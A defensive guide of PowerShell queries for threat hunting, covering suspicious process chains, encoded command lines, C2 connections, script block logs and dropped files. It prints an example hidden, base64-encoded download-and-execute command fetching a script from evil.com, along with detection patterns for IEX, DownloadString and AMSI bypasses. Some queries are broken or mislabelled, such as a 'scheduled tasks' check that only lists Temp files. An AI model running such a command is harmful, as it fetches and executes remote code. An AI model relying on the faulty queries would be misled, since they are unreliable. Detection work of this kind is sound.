PowerShell For Threat Hunting
Process Tree
Purpose: hunt for malicious/suspicious process like powershell
Get-CimInstance Win32_Process |
Where-Object {$_.Name -match 'powershell|pwsh'} |
Select-Object ProcessId,ParentProcessId,CommandLine |
Sort-Object ParentProcessId
Hunt For:
explorer.exe
βcmd.exe
βpowershell.exe
chainsParent processes like
winword.exe
spawning PowerShell
PowerShell Process Command Lines
Purpose: Uncover hidden execution parameters
Get-CimInstance Win32_Process |
Where-Object { $_.Name -match 'powershell|pwsh' -and $_.CommandLine -ne $null } |
Select-Object ProcessId,CommandLine |
Format-Table -Wrap
Hunt For:
-EncodedCommand
with base64IEX (New-Object Net.WebClient).DownloadString()
patternsUncommon arguments like
-nop -w hidden -ep bypass
Example:
powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand "SQBleABlACAobkV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly9ldmlsLmNvbS9zaGVsbC5wcycp"
||
||
Iex (New-Object System.Net.WebClient).DownloadString('http://evil.com/shell.ps1')
PowerShell Binary Hashes
Purpose: Verify authentic PowerShell executables
Get-Process -Name powershell*, pwsh* |
Where-Object { $_.Path } |
ForEach-Object {
[PSCustomObject]@{
Name = $_.Name
Path = $_.Path
SHA256 = (Get-FileHash -Path $_.Path -Algorithm SHA256).Hash
}
} | Format-Table -AutoSize
Hunt For:
Hashes not matching Microsoft-signed binaries
PowerShell running from
Temp
orAppData
PowerShell Process Start Times
Purpose: Identify new/unexpected instances
Get-Process -Name powershell*, pwsh* |
Where-Object { $_.StartTime } |
Sort-Object StartTime |
Select-Object Name,Id,StartTime -Last 5
Hunt For:
Processes started at odd hours (e.g., 2 AM)
Multiple instances spawned within seconds
PowerShell Network Connections
Purpose: Detect C2 communications
Get-NetTCPConnection -State Established |
Where-Object { (Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name -match 'powershell|pwsh' } |
Select-Object LocalAddress,RemoteAddress,RemotePort,@{N='Process';E={(Get-Process -Id $_.OwningProcess).Name}}
Hunt For:
Connections to cloud IPs (AWS/Azure DigitalOcean)
Ports 443, 8443, 4443 with no SSL handshake
Office apps (
winword.exe
) spawning PowerShellexplorer.exe
βcmd.exe
βpowershell.exe
chains
PowerShell Parent Processes
Purpose: Uncover injection chains
Get-CimInstance Win32_Process |
Where-Object { $_.Name -match 'powershell|pwsh' } |
Select-Object ProcessId,ParentProcessId,CommandLine |
ForEach-Object {
$parent = Get-Process -Id $_.ParentProcessId -ErrorAction SilentlyContinue
[PSCustomObject]@{
PowerShell_PID = $_.ProcessId
Parent_Name = $parent.Name
Parent_PID = $_.ParentProcessId
CommandLine = $_.CommandLine
}
} | Format-Table -Wrap
Hunt For:
Office apps (
winword.exe
) spawning PowerShellexplorer.exe
βcmd.exe
βpowershell.exe
chains
PowerShell Loaded Modules
Purpose: Detect in-memory injection
Get-Process -Name powershell*, pwsh* |
Select-Object Name,Id,@{N='Modules';E={$_.Modules.ModuleName -join ';'}} |
Where-Object { $_.Modules -like "*tmp*" -or $_.Modules -like "*appdata*" }
Hunt For:
DLLs loaded from
Temp
foldersMissing Microsoft-signed core modules
PowerShell Script Block Logs
Purpose: Extract executed code blocks
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 20 |
Where-Object { $_.Id -eq 4104 } |
Select-Object TimeCreated,@{N='Command';E={$_.Properties[0].Value}} |
Format-Table -Wrap
Hunt For:
Invoke-Expression
with external URLsAMSI bypass patterns (
[Ref].Assembly.GetType()
)
PowerShell Process ACLs
Purpose: Check for suspicious ownership
Get-Process -Name powershell*, pwsh* |
ForEach-Object {
$owner = (Get-Acl -Path "\\?\handle::$($_.Id)").Owner
[PSCustomObject]@{
ProcessId = $_.Id
Owner = $owner
BinaryPath = $_.Path
}
}
Hunt For:
Processes owned by
NT AUTHORITY\SYSTEM
with network callsUnknown user accounts running PowerShell
Check for Scheduled Tasks Created by PowerShell
Purpose: Detect if powershell.exe is used to create scheduled tasks, a common persistence technique.
Get-ChildItem -Path $env:TEMP -Recurse -File | Where-Object { $_.CreationTime -gt (Get-Date).AddHours(-24) -and ($_.Name -like "*.ps1" -or $_.Name -like "*.exe" -or $_.Name -like "*.dll") } | Select-Object Name, FullName, CreationTime
Check for Files Added to Temp Folder by PowerShell
Purpose: Identify suspicious files (e.g., .ps1, .exe, .dll) created in the Temp folder, potentially by PowerShell.
Get-ChildItem -Path $env:TEMP -Recurse -File | Where-Object { $_.CreationTime -gt (Get-Date).AddHours(-24) -and ($_.Name -like "*.ps1" -or $_.Name -like "*.exe" -or $_.Name -like "*.dll") } | Select-Object Name, FullName, CreationTime
Check for Files Added to AppData Folder by PowerShell
Purpose: Detect suspicious files in the AppData folder, a common drop location for PowerShell-dropped malware.
Get-ChildItem -Path $env:APPDATA -Recurse -File | Where-Object { $_.CreationTime -gt (Get-Date).AddHours(-24) -and ($_.Name -like "*.ps1" -or $_.Name -like "*.exe" -or $_.Name -like "*.dll") } | Select-Object Name, FullName, CreationTime
Hunt for Other Files Created by PowerShell
Purpose: Identify new files created system-wide (outside Temp/AppData) that might be PowerShell-related.
Get-ChildItem -Path "C:\" -Recurse -File -ErrorAction SilentlyContinue | Where-Object { $_.CreationTime -gt (Get-Date).AddHours(-24) -and $_.DirectoryName -notlike "*$env:TEMP*" -and $_.DirectoryName -notlike "*$env:APPDATA*" -and ($_.Name -like "*.ps1" -or $_.Name -like "*.exe" -or $_.Name -like "*.dll") } | Select-Object Name, FullName, CreationTime, DirectoryName
Hunt for PowerShell Activity in Event Logs
Purpose: Detect suspicious PowerShell commands (e.g., Invoke-Expression, DownloadString) that might indicate file creation or task scheduling.
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 } | Select-String -Pattern "Invoke-Expression|DownloadString|IEX" | Select-Object TimeCreated, Message
Hunt for PowerShell Interaction with WMI
Purpose: check if powershell.exe is running, interacting with WMI, or calling WMI classes
# 1. Check PowerShell module logs (ID 4103) for WMI
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4103 } | Select-String -Pattern "WMI|Win32_|Get-WmiObject|Get-CimInstance" | Select-Object TimeCreated, Message
# 2. Check PowerShell script block logs (ID 4104) for WMI
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 } | Select-String -Pattern "WMI|Win32_|Get-WmiObject|Get-CimInstance" | Select-Object TimeCreated, Message
# 3. Check WMI activity logs for PowerShell involvement
Get-WinEvent -LogName "Microsoft-Windows-WMI-Activity/Operational" | Where-Object { $_.Message -like "*powershell*" } | Select-Object TimeCreated, Message
# 4. Check PowerShell command history for WMI calls
Get-History | Where-Object { $_.CommandLine -like "*WMI*|*Win32_*|*Get-WmiObject*|*Get-CimInstance*" } | Select-Object CommandLine, StartExecutionTime
Hunt for Newly Created User Accounts
Purpose: Identify recently created user accounts in Active Directory to detect potential malicious activity (e.g., unauthorized account creation for persistence or lateral movement) for threat hunting.
Get-ADUser -Filter * -Properties WhenCreated, CreatedBy, LastLogonDate |
Where-Object { $_.WhenCreated -ge (Get-Date).AddDays(-7) } |
Select-Object Name, SamAccountName, WhenCreated, CreatedBy, LastLogonDate, DistinguishedName |
Sort-Object WhenCreated -Descending |
Format-Table -AutoSize
Hunt for int process of Network Connection
Purpose: Identify processes with anomalous network connections (e.g., spoofed IPs, unexpected outbound traffic, or impersonated system services) to detect potential malware or lateral movement.
Get-NetTCPConnection -State Established | Where-Object {
$_.RemoteAddress -notmatch '^(127\.|0\.0\.0|::1)' -and
(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name -match 'svchost|powershell|wscript'
} | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State,
@{Name="Process"; Expression={(Get-Process -Id $_.OwningProcess).Name}},
@{Name="PID"; Expression={$_.OwningProcess}},
@{Name="ProcessPath"; Expression={(Get-Process -Id $_.OwningProcess).Path}} |
Format-Table -AutoSize
Last updated
Was this helpful?